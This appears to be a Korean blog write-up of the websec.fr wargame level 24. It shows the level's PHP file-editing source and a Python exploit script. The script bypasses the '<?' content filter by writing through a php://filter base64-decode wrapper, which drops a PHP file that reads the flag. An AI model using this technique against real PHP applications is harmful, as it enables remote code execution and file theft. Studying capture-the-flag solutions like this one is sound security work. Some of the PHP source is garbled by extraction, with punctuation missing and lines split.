Wargame/websec.fr

websec.fr easy level 24

JeonYoungSin 2019. 8. 22. 21:13

source.php


<?php
ini_set
('display_errors''on');
ini_set('error_reporting'E_ALL);

session_start();

include 
'clean_up.php';

/* periodic cleanup */
foreach (glob("./uploads/*") as $file) {
    if (
is_file($file)) {
        
unlink($file);
    } else {
        if (
time() - filemtime($file) >= 60 60 24 7) {
            
Delete($file);
        }
    }
}

$upload_dir sprintf("./uploads/%s/"session_id());
@
mkdir($upload_dir0755true);

/* sandboxing ! */
chdir($upload_dir);
ini_set('open_basedir''.');

$p "list";
$data "";
$filename "";

if (isset(
$_GET['p']) && isset($_GET['filename']) ) {
    
$filename $_GET['filename'];
    if (
$_GET['p'] === "edit") {
        
$p "edit";
        if (isset(
$_POST['data'])) {
            
$data $_POST['data'];
            if (
strpos($data'<?')  === false && stripos($data'script')  === false) {  # no interpretable code please.
                
file_put_contents($_GET['filename'], $data);
                die (
'<meta http-equiv="refresh" content="0; url=.">');
            }
        } elseif (
file_exists($_GET['filename'])){
            
$data file_get_contents($_GET['filename']);
        }
    }
}
?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level 24</title>
        <link rel="stylesheet" href="https://websec.fr/static/bootstrap.min.css" />
    <!-- Credits to blotus and bui for finding an unintended solution -->
</head>
    <body>
        <div class="container">
            <div class="row">
                <h1>Level TwentyFour<small> - Cloud-based plain-text storage</small></h1>
            </div>

            <div class="row">
                <p class="lead">
                Please enjoy our super-convenient cloud-based text storage facility,<br>
                    its sync-up scaled workflow connects with agile API worldwide on a global scale,<br>
                    to achieve synergy with outside the box diving devops.
                <br><br>
                    Another fine level by our very own <mark>nurfed</mark>, that you can check the source <a href="source.php">here</a>.
                </p>
            </div>

            <br>

            <div class="row">

<?php if ($p === "list") {
    echo 
"<div class='panel panel-default'>";
    echo 
"<div class='panel-heading'><h3 class='panel-title''>Index of <mark>$upload_dir</mark>:</h3></div>";
    echo 
"<div class='panel-body'><ul>";
    foreach (
array_diff(scandir('.'), ['..''.']) as $fn)
        echo 
"<li><a href='?p=edit&filename=$fn'>$fn</a></li>";
    echo 
"</ul></div></div>";
    
?>
    <form method="GET" class="form-inline">
        <div class="form-group">
            <input type="hidden" name="p" value="edit">
            <label for="filename">Create a new file:</label>
            <input class='form-control' type="text" name="filename" placeholder="file name">
        </div>
        <div class="form-group">
            <button type="submit" class='btn btn-default col-md-2 form-control' value="Submit">Create</button>
        </div>
    </form>

<?php } elseif ($p === "edit") {
    echo 
"<div class='panel panel-default'>";
    echo 
"<div class='panel-heading'><h3 class='panel-title''>";
    echo 
"File <mark>$filename</mark>'s content: <a type='button' class='close' href='.'><span>&times;</span></a></h3>";
    echo 
"</div>";
    echo 
"<div class='panel-body'>";
    echo 
"<form action='?p=edit&filename=$filename' method='post'>";
    echo 
"<input type='hidden' name='filename' value='$filename'>";
    echo 
"<textarea class='form-control' name='data' rows='6'>" htmlentities($data) . "</textarea><br>";
    echo 
"<a type='button' class='btn btn-default' href='.'>Cancel</a> ";
    echo 
"<button type='submit' class='btn btn-default' value='Submit'>Save changes</button>";
    echo 
"</form>";
    echo 
"</div></div>";
?>
</div>


그냥 php 파일 올릴 수 있는데, 파일 내용에 php tag 및 script를 필터하고 있다.


첨엔 그냥 file_put_contents로 파일 만들길래 array넣어서 우회하면 끝나겠거니 했는데 입력 값 검증할때 preg_match 안쓰고 stripos쓰는 바람에 에러가 터져서 요 방법은 안됬다. 그래서 그냥 php wrapper써서 base64 인코딩된 값을 디코딩하면서 파일 내용 삽입하게 했다.


exploit.py


import requests


def exploit(payload,payload2):

    url = "http://websec.fr/level24/index.php?p=edit&filename="+payload

    headers = {"Cookie":"PHPSESSID=ho8silrj9h2rl1q2u8i0vig3gfsp68sq"}

    data = {"data":payload2}

    result = requests.post(url,headers=headers,data=data).text

    print result



payload = "php://filter/convert.base64-decode/resource=123.php"

payload2 = "<?php echo file_get_contents('../../flag.php');?>".encode("base64")


exploit(payload,payload2)


print requests.get("http://websec.fr/level24/uploads/ho8silrj9h2rl1q2u8i0vig3gfsp68sq/123.php").text